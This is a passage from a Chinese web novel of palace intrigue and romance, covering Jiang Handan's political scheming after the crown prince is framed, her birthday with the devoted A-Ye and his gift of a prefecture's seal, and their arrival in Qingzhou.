姜菡萏:“那只不过是我偶然听人说起什么十三虎,有些好奇罢了,哪里有什么错处?” “谢小姐,如此,我们许家上下可以安心了。”许南珠叩头行礼,“承蒙小姐多日关照,我许家上下感激不尽,若是小姐不嫌弃,我们姐弟皆愿供小姐驱策,为小姐分忧。” 姜菡萏心想:这是投诚? 再一想,不,这是交换。 许南珠知道以自己一介商贾的身份,永远接触不到朝堂最核心的秘密——比如这一次东宫的事,姜菡萏不开口,她只有等到尘埃落定,才可能知道发生了什么。而对于想要左右天下权势的人而言,那已经没什么意义了。 姜菡萏知道,若是上一世的自己,绝对想不到这一层。 她起身,扶起许南珠,柔声道:“姐姐,你很聪明,我从第一次见你,便觉得你很投缘。后来,阿风又到了我身边……”她看了地上的许南风一眼,觉得自己应该表现出一点娇羞或者一点恼意才比较合适,只可惜这两种情绪她实在找不出来,只好垂下眼睛,接着往下说,“你们瞒着我,也是怕得罪了我,我知道你们没有坏心,快快起来吧,今后说不定还有许多事情要请你帮忙。” 许南珠跟着起身,许南风却没有起,低声道:“小姐,你罚我吧。按府兵军规,欺上瞒下,要打一百军棍。” 姜菡萏想了想:“那我罚你,再去给我们端一盘桃子来。” 许南风抬头,终于确认在姜菡萏脸上找不到一丝怒气,他欣喜起身,跃过门槛,高高兴兴走了。 姜菡萏拉着许南珠坐下,告诉她这件事情全是太皇太后一手安排,她只知道要让周子昭离开京城,其他的一概不知。 许南珠讶异:“周公子离开了京城?他不是一直在照月阁吗?” “那只是替身。”姜菡萏道,“清晓姑娘没发觉吗?” 真正的周子昭早在姜菡萏去昭月阁的第二天,便被悄悄送到了西山别院。 而照月阁中的周子昭是由暗卫假扮。 就在十天前,暗卫留下最后一道口信,被人带出了照月阁,不知所踪。 这一切的消息都同步告诉了太皇太后。 太皇太后出马,一定比她强。 果然,宫中接下来的情形比最好的戏本子都要精彩。 羽林卫果然在东宫搜出了龙袍。 龙袍与书信是物证,周勤是人证,物证与人证俱在,风明的太子之位眼看就要不保。 就在这个时候,太皇太后揪出了东宫里一名小太监。 小太监招认,是有人买通他,让他把龙袍放进东宫的。 而买通他的人,几经辗转指认,居然出自于风曜宫中。 风曜一派的人自然是跳出来反击,指责太皇太后为了替太子开脱,竟然祸水东引,诬陷贤王。 太皇太后与姜家一派人,则指责周勤勾结风曜,背主求荣。 尤其是姜家的家主大人,差点跳起来用笏板打周勤。 周勤崩溃了,他跪在风曜面前,求风曜放过他的孙子。 此举令满朝哗然。 “贤王风曜将周勤之孙周子昭囚禁于京城私宅之中,逼令周勤伪造太子书信,并买通内侍,用龙袍构陷太子,其罪当诛!” 太皇太后杵着龙头杖,威严的声音回荡于大殿中,“人,哀家已经找到了,但为免有人说哀家栽赃陷害,所以哀家只命人守着,等陛下亲自派人去查看。” 姜菡萏非常遗憾,不能看到风曜当时的脸色。 满朝文武众目睽睽,就算承德帝有心偏袒,也不得不派出羽林卫前去查看。 当羽林卫从私宅密室找到暗卫扮成的周子昭时,情势彻底逆转。 太子被人陷害,贤王声名扫地。 可就在风曜要成为阶下囚的时候,国师虞仙芝出现了。 也不知道虞仙芝和承德帝说了什么,承德帝最终只夺了风曜的王爵,让他闭门思过。 “然后还把罪责推给风曜手底下一个替罪羊,把人家抄家流放了事,风曜只判了个监察不力之罪。要不是祖姑母步步紧逼,风曜的王爵都摘不了。” 姜祯回来后,把事情一五一十讲给妹妹听。 “但他已经没了王爵,并且将有半年时间,无法离开皇宫。更重要的是,太子安然无恙。”姜菡萏虽然觉得遗憾,但还是高兴的,“顾先生所说的那条计策,正好可以趁此机会用上。” 姜祯也跟着兴奋点头,出去加派人手准备散播谣言。 这事暗卫拿手。 他离开之后,姜菡萏才道:“出来吧。” 许南珠从屏风后走出。 “对不住呀阿珠姐姐,哥哥从来没有挨过打,你是这世上头一个也是唯一个打过他的人,他要是瞧见你在,恐怕会找你麻烦。” “不,是我该多谢小姐才是。”许南珠的神情一向淡淡的,此时微微有些动容,她用了不少心机手段,但姜菡萏真的没有一丝责怪,甚至连这样重要的秘辛都让她旁听。 她真正对姜菡萏生出了一丝歉疚。 “小姐是想助太子殿下坐稳东宫之位对吧?可有什么事情是我能为小姐做的吗?” 姜菡萏脸上露出一个深深的笑容:“有,眼下就有。” 还有什么地方,比脂粉铺子更适合妇人小姐们聊闲话的呢? * 世间没有什么比谣言传得更快了。 尤其是有心人刻意散播的谣言。 等到街头巷尾的人们都在议论的时候,风曜本来就在东宫一案里岌岌可危的声名更是雪上加霜。 姜菡萏神清气爽地离开京城。 张贺回到南疆,迦南从此不敢轻动刀兵。 段璋已死,世间少了一个乱臣贼子。 汤博望失踪,但他海捕文书一样贴满天下,不可能再像上一世那样明目张胆地四处招兵买马了。 现在最大的问题,是虞仙芝。 虞仙芝就像风曜的续命良药,只要虞仙芝不死,风曜早晚会死灰复燃。 姜菡萏把顾晚章带到梁州,开始跟读书人一起研讨阴谋诡计,看看怎么能更快地置虞仙芝于死地。 “太难了。”顾晚章直接道,“虞仙芝藏在深山,有山卫保护,无法刺杀。他自己精通医术,又防备极强,难以下毒。最重要的是,陛下在吃他的仙极紫金丹求长生,他就是陛下的续命良方,陛下对他言听计从,信任有加,他也很少参与朝中大事,难以栽赃陷害。” 姜菡萏发愁。 流言是传了,可是那两个人幽会都在通天观,承德帝要怎么样才能跑那么远去捉奸?更何况等承德帝跑过去,黄花菜都凉了。 就在这种颇为焦虑的气氛之中,姜菡萏的生辰到了。 她今年的生辰没有回京,像往年在西山别院过生辰时一样,从前两天开始,各家的生辰礼流水一样往梁州别院送来。 姜祯头几天就过来准备给妹妹庆生。 许南珠也亲自送了礼物过来。 到了五月初九这一日,别院上下装饰一新,热闹非凡。 姜菡萏坐在屋子里看着阿福她们把礼物一样一样搬出来。 她点头的,便放在左边,摇头的,便放在右边。 左边是留下,右边的直接交给顾晚章。 如今许南珠挑明身份,便成了顾晚章的帮手,由她来管这件事。 顾晚章要管粮草军械、要招人、要搞钱、还要关注朝中局势用官凭……这么久以来都是拿一个人当十个人用,从不说累,骂人也从不含糊,只有身形益发削瘦。 有了许南珠帮忙,顾晚章终于能喘口气,送上自己的礼物。 姜菡萏接过来:“莫非又是胭脂?” 顾晚章笑道:“如今胭脂有许姑娘送了。” 姜菡萏打开一看,是小小一本册子,上面记载着某府某县某处,良田多少亩。密密麻麻,数不清囤了多少田地。 她呆了呆,震惊地望向顾晚章。 “不要太震惊,有些不是买的,只是租的。”顾晚章脸上有淡淡的笑意,“但有这些田地,小姐无论想养多少府兵,都不用在意粮草了。” “顾晚章,”姜菡萏难得地直呼他的名字,深深道,“你是真正的宰相之材,留在我的身边,真是委屈了。” “当朝宰相也只不过是整日陪着陛下宴乐而已。顾某在这山中做一个小小账房,可比宰相要痛快得多。” 不。 姜菡萏在心里说。 等到改天换地那一日,中兴之君登基,以你的才干,一定可以坐上那个一人之下万人之上的位置。 这一天过得充实而忙碌,但姜菡萏总觉得少了点什么。 直到吃过晚饭,上床就寝,月光照过窗棱,透出一层清冷的淡淡光芒,姜菡萏才猛然发觉,少的是阿夜。 这个生辰,没有阿夜。 上一封信中,阿夜说要去北疆一趟,只怕现在还没回来吧。 阿夜不在也挺好,不然,她很担心阿夜知道她想对付虞仙芝,下一瞬就冲去通天观,给她找生辰礼。 这样胡思乱想着,姜菡萏慢慢睡着了。 睡梦之中不大安稳,她又一次梦见了上一世。 醒来后再也睡不着了,索性披衣下床,推开窗子透透气。 窗子发出“吱呀”一声,底下的人回过头来。 黑眸黑发黑衣,靠窗而坐,轮廓锋利,眼神却柔和。 “……”姜菡萏无声地笑了一下,她是不是没睡醒啊?这是在做梦吧?她居然看到了阿夜。 反正是梦中,她伸出手,戳了戳他的脸颊,声音里还带着几分没睡醒的迷糊:“说,你怎么在这儿?” 咦,这手感……太真实了吧? 然后她就看见,梦中的阿夜抬起手,握住了她的手腕,把脸贴向她的掌心。 他的动作好轻柔,像倦鸟归巢,充满依恋。 “菡萏,我回来了。” “生辰快乐。” 第52章 第52章菡萏生辰快乐 这是真的阿夜,不是梦! 姜菡萏惊讶极了:“你这个时候不是应该在北疆吗?北疆的事情办完了?” 阿夜:“办完了。” 姜菡萏:“那你也该在庆州啊,你不是说,庆州有事等你回去?” 阿夜点头:“我天亮便走。” 姜菡萏睁大了眼睛:“所以你是特地跑来给我过生辰?可你来了也不吱一声,要是我没醒怎么办?” 阿夜还是道:“天亮便走。” 姜菡萏怔住了。 从北疆回庆州顺便至极,但从庆州到梁州有七百余里,不眠不休地快马加鞭,也要两天两夜。 一来一回,便是四天四夜。 “你……你怎么不叫醒我啊?”姜菡萏的声音变得很低很低,低到喉咙里有一丝颤抖,有股说不清的滋味在胸膛弥漫开来,“要是我没醒,你回来过我都不知道。” “叫醒了,你后面会睡不着。”阿夜太清楚她的睡眠了,“礼物我已经放到库房了,你明天睡醒就会看到。” 姜菡萏不知道该说什么才好,她的另一只手也伸出来,一起捧住阿夜的脸:“阿夜啊阿夜,你好傻啊。” 阿夜在她的掌心闭上了眼睛,一路的奔波劳苦仿佛都已经消失,到此便是休憩,脸上一片宁静。 可姜菡萏却发现他的身体在轻轻发抖。 奇怪,明明已经是夏天,还会冷吗?不,阿夜冬天都不曾冷过。 应该是累了吧?姜菡萏想。虽然只是捧着脸,但感觉得到他的脖子梗得笔直僵硬,仿佛极力克制着什么。 “快回房去睡会儿吧。”姜菡萏柔声道,“你的床还在,下人每日都会打扫的。” 阿夜睁开眼睛,摇头:“不了。” “为什么?”他明明看起来很累了。 “睡着就不能看见菡萏了。” 天上有淡淡星光,四下有悠悠的虫鸣,阿夜的脸逆着光,眸子却是那么明亮。姜菡萏觉得有什么东西重重地在自己心上摇了一下,刹那间整个人有几分晕眩,也许这就叫心动神摇。 她猛地收回了手,有点像兔子受了惊,想缩回自己的窝。 从来没有过这种感觉,无从分辨那是什么,只是觉得很慌乱,心跳如雷,在沁凉的夜晚身上竟然微微有点冒汗。 阿夜不知道自己说错了什么“……菡萏?” “我……我没事。”姜菡萏给自己找了个借口,“就是有点困了。” “那你睡,我在这里守着。” “哦。” 姜菡萏伸手关窗,却发现怎么也关不上,阿夜的手在外面抵住了,他的声音里带着一丝低低的哀求:“能不能……不关?只要留一条缝就行。” 缝里可以透出屋子里的香气。 那是菡萏的味道。 只有老天爷知道他想念这个味道想了多久。 也只有老天爷才知道,他方才忍了多久,才忍住没有抓住她。 抓住她,把她从窗子里抱出来——她会像蝴蝶一样轻盈地扑进他的怀中。这样的想象让他的全部身心都在颤栗。 窗子留了一条缝,姜菡萏的脚步声回到床边,上了床,翻来覆去,没个消停。 她就是这样的,半夜若是醒了,便很难再睡着。 阿夜的额头抵在夏夜清凉的墙面,耳朵像曾经在山林间捕捉猎物的一举一动时那样敏锐。 所不同的是,那时心中充满的只有食欲,现在却充满着他自己也说不清楚的渴望。 香气幽幽,一墙之隔,是他的仙境,也是他的地狱。 忽地,床上的人有了动静,紧接着是冲到窗边的脚步声,阿夜愕然抬头,头顶的窗子“砰”地一声打开。 “阿夜,你肚子饿不饿?我带你去吃寿桃寿面吧?” * 夏夜的晚风清凉温柔,星子闪闪发亮,两人走在夜色中,阿夜走在她身边落后半步的位置,姜菡萏一转脸就能看见他,高大,沉默,充满安全感。 真奇怪啊,明明分开了这么久,可是当他这样走在她身边,又觉得好像没有分开过。 一切就和从前一样。 两人有一搭没有一搭地说着话,不说话的时候就感受这轻柔的晚风,目光偶尔会碰在一起,两人便忍不住露出微笑。 他们有一种相同的感觉——以前怎么没有发现?原来夏夜这样安静,这样美好。 “阿夜,你送了什么礼物啊?” 往前一点就是库房,姜菡萏忽然忍不住问。 阿夜:“要去看吗?” 姜菡萏连连点头。 两人遂拐了个弯,进了库房。 姜家嫡女过生辰,礼物堆满了库房,每一件上都挂着标签写明来自何地何人,然后被简单粗暴地分为两大类。 一类是值钱的,过几日顾晚章会带走变卖。 一类是不怎么值钱或是不大好变卖的,会被留在别院。 阿夜很是知道这点,所以礼物是放在不怎么值钱的那一类 那一类东西里,最醒目的是一只大鸟,木雕为身架,覆盖着一身 真羽毛,看上去十分逼真……除了特别大。 一只小锦匣就搁在鸟的脑门上。 姜菡萏踮了踮脚,发现自己根本够不着,有点幽怨:“为什么放这么高?” 阿夜抬手拿下来给她:“……放得高些,下人一眼就能看见。” 他没打算吵醒她,也没想到她会亲自来拿。 锦匣虽小,却有点份量,姜菡萏打开来,发现里面是一枚玉印,两寸见方,龟纽,上系红色丝绦。 姜菡萏心里打了个突,这是官印。 再翻过来一看,底下果然刻着四个字:“景州府印”。 不单是官印,还是一枚知府印。 “这、这是什么?” “新地盘。”阿夜说,“菡萏,景州是你的了。” 姜菡萏呆滞了片刻:“这就是你信上说的,要去北疆办的事?” 景州是北疆的第一道城池。 “对。老方回家乡,家乡乱糟糟跟庆州一样,老方托人问我能不能帮忙,我就去了。杀了包税的人,再杀了知府。” 阿夜平铺直叙,姜菡萏恍惚觉得,他在说“老方请我去喝酒,我喝了竹叶青,又喝了女儿红”。 官府为了省下收税的精力,会把税收外包出去,能接下这种差事的,无一不是地头蛇,并且无一不加收各种杂税,压榨百姓。 杀这种人,姜菡萏可以理解,但是:“为什么要杀知府?那可是朝廷命官,你想造反吗?” “知府帮着包税之人,他们好像是亲戚。现在府丞负责办事,我们负责收税,死了的知府负责抱病。只要交上赋税,朝廷什么也不会管。” 阿夜说完,道,“我不加税,也不造反,只是杀人而已。” 姜菡萏一脸迷茫,她知道乱世来临之前,大央的吏治松散,可没想到,竟然这么松散。 “菡萏,”阿夜看着她的脸,没有看到笑容,也没有看到喜色,他有些忐忑,“你不喜欢?” “怎么会?我很喜欢。”姜菡萏忍不住笑了,“只是没想到,有生之年,会有人送人一座州府当生辰礼。” 阿夜看着她笑了,才放松下来。 最初的震惊与感慨过去,姜菡萏提着官印,心中振奋,开始盘算起来:“太好了,我正在找第三处养兵之所,明天就可以让阿风带着人去景州。” 阿夜:“……为什么?” “庆州与景州相距也有一两百里,你一个人管的话,中间来来回回,很不方便。而且顾先生又招了不少府兵,阿风正好有领兵之才……” “不。”阿夜头一次打断了姜菡萏的话,“谁都可以,他不可以。” 姜菡萏不解:“为什么?” 阿夜冷着脸道:“我不喜欢他。” 姜菡萏一听这话甚是危险,大哥,你不喜欢谁,也不能不喜欢未来的陛下啊。 她苦口婆心,循循善诱:“那你说说,你为什么不喜欢他?” 阿夜冷冷地:“因为他做的这个大雁太丑了。” 姜菡萏:“………………” 姜菡萏:“这是大雁吗?” 阿夜:“你不知道?” “我以为就是一只鸟。” 并且收到的时候,还觉得许南风太过孩子气,居然送她一只鸟玩——送风明还差不多。 阿夜:“……” 从收到那支骨笛起,他就知道了,大雁是忠贞之鸟,人们成亲之时要行六礼,其中五礼,男方都要给女方准备大雁。 许南风送大雁,居心不良。 但菡萏不知道……这让阿夜的脸色好看了不少,他道:“哦,我也不知道,猜的。”跟着道,“不是要去吃寿桃和寿面吗?我饿了。” 这份大礼一收,姜菡萏险些忘了寿桃寿面的事。 于是连忙把官印收进锦匣,捧在手里,高高兴兴往外走。 走到门口才发现,原本一向习惯跟在她身后的阿夜并没有跟上来。 身后忽然传来“啪”地一声响。 她回头,只见许南风送的那只鸟倒在地上。 摔开才发现,那只鸟做得确实精心,乃是由好些部件组合而成,此时一摔之下,鸟身四分五裂,鸟羽漫天飞舞。 阿夜就站在这漫天飞舞的羽毛当中,手里提着灯笼,亮光照着鸟羽纷飞,却有些照不到他的神色。 “我……不小心的。” 他的声音听上去有点僵硬。 “罢了,玩具而已,反正我又不会去玩它。”姜菡萏说着,对他招招手,“走啦。” 背后是清浅的夏夜,往上是无边的星辰,她的笑容像溪水般清亮。 阿夜提着灯笼,向她走去,觉得自己像是在走向一场梦。 “来了。” * 姜菡萏去年生辰时,阿夜杀段璋受伤,又遇着丹炉爆炸,过得腥风血雨,寿桃寿面一口也没吃上。 他甚至不知道寿桃是什么,以为桃子的一种。 姜菡萏告诉他,用鲜桃的也有,但主要还是以面粉做的居多。 “《太平广记》上说,‘东北有树焉,高五十丈,其叶长八尺,广四五尺,名曰桃。其子径三尺二寸,小狭核,食之令人知寿。’意思就是说,有一棵很大很大的树,叶子很大,果子也很大,吃了可以让人长寿。所以寿桃一般都做得很大。” 小姐生辰,上下同庆,别院的厨房本就准备了许多寿桃,各方送生辰礼时又多半会备上一份,以示吉庆。于是这一天,厨房里的寿桃琳琅满目,花样繁多。 姜菡萏身份虽然尊贵,但年纪毕竟还小,所以寿桃再大也有限,最大的跟西瓜类似,枝叶齐全,里面还塞着八宝干果或是豆沙枣泥等各色馅料。 小的只有李子般大,精巧别致,雪白轻粉,异常好看。 姜菡萏把锦匣搁下,然后就跟穿花蝴蝶似的,把寿桃一样一样搬出来。 她从床上起来,也没有梳妆,长发披散直垂到腰下,身上随意披了一件淡绿色轻绡外裳,深绿齐胸长裙衬得肌肤如玉,眸子晶晶亮,每一样都想让阿夜尝尝。 她拿一样,阿夜便尝一样,吃完看着她微微笑,眉眼间一片柔软。 姜菡萏觉得她的阿夜真是乖极了。 “好吃吗?”她又端起一只,问。 阿夜的目光一直追逐着她,声音低沉:“好吃。” 姜菡萏自己也拿起一只小小的粉白寿桃,咬了一口。 白天她也吃了,只觉得甜,没有什么别的印象。这会儿可能是半夜饿了,又或是心情大好,一口下去,只觉得这寿桃的口感轻甜绵密,像云朵一样在唇齿间化开。 “真的好吃哎。” 她惊喜地说,却发现阿夜眼睛眨也不眨,直直地盯着她,眸子像是不会转了。 “怎么了?”她问。 阿夜艰难地别开视线,狠狠用力咬了一口寿桃,声音含糊:“你嘴角……有东西。” 是寿桃上的糖霜,沾在她的嘴角。鲜润粉嫩的唇,和雪白细腻的糖霜……让她看起来就像是一颗最最好吃的寿桃。 姜菡萏拿手一蹭,指上果然蹭了一抹白霜,抬头正要说话,忽然间一笑,凑近阿夜。 晚风吹拂,灯火微微低伏,窗外的星光和虫鸣霎时间变得无比遥远,阿夜在这个瞬间心脏骤然停止了跳动。 只有她的指尖轻轻抚过他的嘴角,非常快,非常轻,然而他对她的碰触敏感到极点,这春风般的一抚在他体内掀起惊涛骇浪。 她把指尖的白霜伸给他看:“哈,你也有。” 咚,咚,咚。 心脏仿佛是报复性地跳动,血液压缩进四肢百骸,耳朵传来阵阵耳鸣,此刻世间空无一物,只有她的笑容如此清晰。 “……阿夜?” 她 的声音听上去有点遥远,好像是隔着水面传来,带着点困惑。 阿夜晃了晃头,才发现自己的手抓住了她的肩臂。 薄薄一层轻绡下,她的手臂像花茎一样细嫩,好像一掐就能掐出水…… “阿夜,你路上没喝酒吧?” 姜菡萏觉得他的样子看起来很不对劲,眼睛发直,呼吸粗重,耳根泛红,尤其是目露凶光——好吧,也不是太凶,就是看上去好像把她当成了寿桃,想要一口吞了。 第53章 第53章神会满足他的愿望 但两人离得这样近,姜菡萏闻到的只有他身上清冽的草木气息,并没有酒味。 姜菡萏拿手在他面前晃了晃,阿夜眼珠子转动一下,像是回过一点神,清醒了一点,猛然松开手。 力道太大了,碰翻了一只寿桃。 寿桃里的核桃、葡萄干、杏仁、蜜枣……全都裹着糖浆,香气立即四溢,弥漫在厨房中。 阿夜神情间有一丝慌乱,一丝窘迫,仿佛想躲避什么似的,后退一步。 “没事,”姜菡萏的声音很温和,近千里的奔波,即使强悍如阿夜也累坏了,“你等一下,我去找寿面,吃完我们就回去。” 风从窗子里吹进来,方才被阿夜握过的手臂一阵沁凉,她下意识摸了摸,这才意识到阿夜的掌心之前多烫。 寿桃冷着吃无妨,寿面冷着却不好吃,姜菡萏想着要不要热一热,阿夜已经从她手里接过去了。 姜菡萏讶然,这么饿的吗? 阿夜吃完面便低头站着,不知道为什么,看着像一个做错了事的孩子。 他这个样子隐隐有几分脆弱,姜菡萏很想抱抱他,或是摸摸他的头。 但到底不像前两年小时候了,姜菡萏忍住了这种冲动,再次跟他说打翻一只寿桃不要紧,明天自有人来收拾。 阿夜低低“嗯”了一声。 回房的路上,姜菡萏想,阿夜之所以这样失态,会不会是因为,他从来没有过过生辰? 这么一想,心里更加柔软了。她停下脚步,回头看着阿夜。 阿夜低头跟随,见她停步,不由抬起头。 “阿夜,对不起,找了这样久,还是没有找到你父母的消息。”姜菡萏轻声道,“既然一时不知道你的生辰,不如,你跟我一起过吧,我的生辰就是你的生辰。” 阿夜眨了眨眼,像是没反应过来。 “现在寿桃吃了,寿面也吃了,还差你一份生辰礼。”姜菡萏说着,微笑,“说吧阿夜,想要什么?” 晚风拂过姜菡萏的发丝,她的脸在星光下异常皎洁,眸子异常温柔,周身仿佛都笼罩着一层蒙蒙的微光。 阿夜怔怔地看着她,忽然之间,喉头一阵发涩。 庆州不太平,百姓多信神佛,每到节日,便虔诚供奉礼敬。 可那些神佛何其虚无缥缈,对他们的苦难从来不屑一顾。 而菡萏,是他真正的神,真正的佛。他没有什么,她便给他什么。 “好,从今日起,我有生辰了。”阿夜咬了咬牙,才能让自己的声音不至于颤抖,“我想要你……” 姜菡萏:“要我什么?” “要你……要你去庆州住一天。” 姜菡萏失笑:“这是什么生辰礼?” 阿夜低声:“我就是想要。” 姜菡萏想了想:“好,那我明日和你一道去庆州。但你今晚不许在窗外守夜,要乖乖回房睡觉。” 阿夜说不出话来,一双眼睛异常明亮,只知道点头。 原来这就是过生辰的感觉。 神会满足他的愿望。 * 阿夜很久没有睡过这样的好觉了。 醒来的时候发现晨光照进窗棂,树影轻轻摇晃,鸟在枝上啼鸣,风中全是让人心里柔软的气息。 在起床之前,他凝神静听了一会儿——隔壁一片安静,昨夜菡萏回去花了很长时间才重新入睡,此时自然还没醒。 他起床梳洗。 上一次离开别院时,是陪姜菡萏去京城,那个时候他没有想到,自己会一走就是近半年。 别院一切如旧,府兵在校场上操练,下人在打扫丹炉里的灰烬,枫树满枝青碧,随风扶摇,天蓝如玉,白云缓缓飘动。 等他走完一圈回来,就发现院中十分热闹,许多府兵和下人正在打包行李,有的在往骡子身上堆,有的得自己挑。 姜菡萏出门向来只求轻便,从不兴师动众,会有这般排场的,只有姜祯。 果然,姜祯正站在檐下太阳照不到的地方,一时嫌下人毛手毛脚弄坏了他的东西,一时嫌太阳太大不适合出门,嫌得最多的就是庆州:“听人说庆州那个地方,风大得要死,更要命的,风里还全是沙子。人在外头得蒙层纱,不然一张嘴,嘴里全是沙子。多少好地方去不得,我妹是怎么想不开要去庆州呢?本家主这等花容月貌,去了庆州脸都要吹黑了。” 许南珠在旁边看着下人搬姜菡萏的行装,开口道:“家主大人若是不愿去,便回京吧。我与阿风会照顾好小姐的。” 姜祯眼睛一瞪:“我什么时候说过不愿去?庆州人生地不熟的,我能不陪着妹妹吗?” 许南珠微微笑道:“不敢。我只是怕路途太过辛苦,损了家主大人的花容月貌。” 姜祯还瞪着她,虽然她笑得温柔可亲,但因为气质太过清冷,姜祯总感觉她是在冷笑。 他怀疑她在嘲笑他,但是没有证据。 人生唯一一次挨打给他的印象太过清晰,他总觉得她好像随时能抽出一只镇纸照他脑门来一下子。 偏偏许南珠笑容亲切,语调温柔,他抓不到什么错处,没办法把她从妹妹身边赶走。 只是咕哝抱怨:“哼,我妹都不怕辛苦,我还怕吗?唉,你知不知道菡萏怎么好端端就要去庆州?菡萏可不是贪玩的人,更何况庆州也不是什么好玩的地方。” 许南珠脸上保持温柔和气的微笑:“家主大人恕罪,我也不知道呢。” 阿夜看着这长长的喧闹的队伍站了一会儿,转身去找姜菡萏。 姜菡萏已经起床了,正坐在镜前梳妆,阿喜在为她梳头。 她日常只挽简单的发髻,多用发带,少用发钗,图一个轻松自在。 今日要出门,还可以方便戴帷帽。 她在镜中看到了窗外的阿夜,抬头一笑。 这一笑,如水之净,如天之清,如山之明。 阿夜忽然间觉得哪怕带上再长的队伍也没什么,只要菡萏愿意去,怎么样都好。 “早上吃了吗?”姜菡萏问。 阿夜道:“没有。” “进来和我一道吃些。”姜菡萏道,“昨夜的寿面冷了,不算,我让厨房重新给你做了一碗。” 阿夜从门口进来,外间的小桌上摆着一桌子吃的,有燕窝粥茯苓糕之类清淡粥食,是姜菡萏素日常吃的。 还有一大碗洁白鲜美的面条,上面浇着牛肉、荷包蛋和青菜,热气腾腾,就着几碟小菜。 食物散发着扑鼻的香气,里间传来菡萏和侍女们的说话声,还有苏妈妈不大高兴的劝阻声——当着阿夜的面,苏妈妈没有明说,但阿夜总归被通缉了,自家小姐跟一个通缉犯搅在一处,让苏妈妈觉得十分不妥。 姜菡萏给苏妈妈派了个任务,让苏妈妈好好为阿福挑一挑出嫁的人选。 阿福脸上顿时羞红,借故去妆奁,低头不说话。 这差事完全是苏妈妈的热爱,苏妈妈终于不嘀咕了。 苏菡萏过来和阿夜一道吃完早饭,准备出发,就看见骡子与挑夫排着长长的队伍,有着数不清的行李。 姜菡萏吃惊:“哥,我不是搬家。” “你睡得惯外头的被褥枕头吗?吃得惯外头的菜式吗?换洗衣裳胭脂香膏书本首饰鞋袜哪一样能少?这还没算上我的……” 姜祯说着,这才看见站在姜菡萏身后的高大身影,“阿夜?!好小子,是你撺掇菡萏去庆州的是不是?” 阿夜不能否认,一个“是”字已经到了嘴边。 “才不关阿夜的事,是我自己要去。”姜菡萏说着,让人把自己的行李挑出来,什么乱七八糟的都不带,只带了几件换洗衣裳,结成一只小小的包袱,交给许南风。 许南风还没接到手,阿夜忽然伸手接过,背在背上。 许南风:“……” 姜菡萏:“去去就回,我只带阿风和阿喜,其他人都不用。” 姜祯大受打击:“……我是你哥,什么时候成了其他人?” 姜菡萏一点没心软。 她要是这么大张旗鼓去庆州,有心人很快就会猜出姜家 和庆州的关系,到时候不单私养的府兵容易被发现,阿夜的身份也瞒不住了。 她只打算悄悄去,悄悄回。一方面是满足阿夜的心愿,一方面她也想看看现在的庆州是个什么情形。 * 阿夜不便过城,也不想让姜菡萏陪着他绕路,出了元宝山之后,他自己骑马先行一步,让姜菡萏坐马车慢慢来。 姜菡萏也没有难为自己,大热天的自然是坐马车舒服些。 许南风充当车夫,阿喜陪姜菡萏坐车。 姜祯人虽没来,但派了暗卫跟随。 马车缓慢,且正中午天气最热的时候皆不赶路,姜菡萏到达庆州的时候,已经是数天后。 庆州在大央就是“混乱”二字的代名词,话本子里有许多光怪陆离的故事,背景都是在庆州。 据说哪怕是庆州最普通的百姓,出门也要带着刀剑,不为伤人,只为自保,因为谁也不知道什么时候就会有人冲上来给自己一刀,逼自己交出钱财。 各商帮之间的械斗更是时有发生,有人说庆州街面的石缝都是黑的——那全是年久日深积下来的血。 所以三人入城的时候小心谨慎,许南风一直握着手里的枪杆。 结果进城门的时候,姜菡萏就发现守卫们一个个彬彬有礼,交还路引的时候甚至还半鞠一躬,口中朗声道:“恭迎贵客入城!” 姜菡萏心头一跳,明明路引都是做的假身份,难道被看出来了? 然后就发现,那些城门守卫对所有人都是如此。 “我可是头一回见着这样的。”许南风喃喃。他从镇海去到京城,千里迢迢中,没有哪一座城池的守卫会这样客气。 姜菡萏也很震惊。 更让她震惊的还在后面。 城内商铺栉比鳞次,往来百姓摩肩接踵,各种货物琳琅满目,大街上一片繁华祥和。 别说械斗杀人,就连吵架的都没有,人人都是笑容满面,像是比赛谁更客气似的,每个人都是谦谦君子。 店家把客人送到门外,深深鞠躬,客人连忙还礼,两人你来我往,鞠个不停。 许南风叹为观止:“真是好腰。” 阿喜深深点头。 关于庆州可怕的传说,阿喜所听过的可比姜菡萏多多了。得知要来庆州的时候,她差点儿吓哭。 是知道许南风跟她们一道才好些。毕竟阿夜离开后,府兵当中就属许南风出类拔萃,英勇无敌。 一群孩子跑过,往姜菡萏和阿喜手里塞了一朵花,口里笑道:“欢迎贵客来庆州!” 花朵洁白芳香,孩子们转瞬跑开,把花塞给下一名女子。 姜菡萏发现了,进城的人当中,所有年轻的姑娘,都会被塞上这么一朵花。每个人收到花,脸上都露出了笑容。 姜菡萏站在街头,透过帷帽上垂下来的轻纱,第一次看见这样安稳的繁华。 京城比这里更繁华,可是京城街头巷尾总有衣衫破烂的饿殍,就像花团锦簇底下,细看全是白骨。 而这里的繁华温暖灿烂,没有一丝阴影,美好得像梦境一样。 “澹园……”许南风掏出阿夜给他的简易地图,“应该是在往前右拐……” 就在这个时候,前方传来马蹄声。 铁蹄踏在青石板上,声若滚雷。 那是一支数十人组成的队伍,每个人都是黑衣玄甲,马匹的额上、身上亦是披着黑甲,在阳光下闪动幽暗光泽。 队伍转眼到了近前,马匹齐齐停下,所有人翻身落马。 领头一人尤为高大,玄甲束出宽肩细腰的身形,戴着一副狰狞头盔,掩着面罩,只露出一双锋芒四射的眼睛。 此时,他的眼睛里已经满是笑意,黑眸温润无比。 他走到姜菡萏面前,单膝跪下:“恭迎贵客,驾临庆州。” 所有甲士在他身后跪下,齐声道:“恭迎贵客,驾临庆州。” 第54章 第54章二合一 整洁祥和的街道一时间陷入寂静,所有人都停下了动作,呆呆地注视着街心这一幕。 那个往日不可一世的男人俯首跪地,跪的人是一个身形纤弱的姑娘,穿一身普普通通的淡绿襦裙,头上戴着帷帽,垂下来的轻纱掩住大半个身子,看不清面容。 姜菡萏也呆住了。 姜家嫡女见惯了大排场,倒不是为这声势所慑,而是穿着甲衣覆着面甲的阿夜恍若天神,让她一时没能移开眼睛。 待回过神,立马头疼,连忙扶起阿夜:“快起来!不能让别人知道我的身份。” “不会的。”阿夜深深望着她,“我只是想让他们都知道,你是庆州真正的主人。” 庆州……主人? 被整条街围观的姜菡萏抬起头,环视这条街上所有的人们。 不知是不是因为感觉到她的视线,人们开始继续自己手头上的事情,重新忙碌起来。 庆州的风比梁州的大,吹得帷幔上的轻纱鼓起来,像是有鸟儿在里面振翅。 为避免继续被围观,姜菡萏上了马车。 阿夜如往常那样伴行在马车旁。 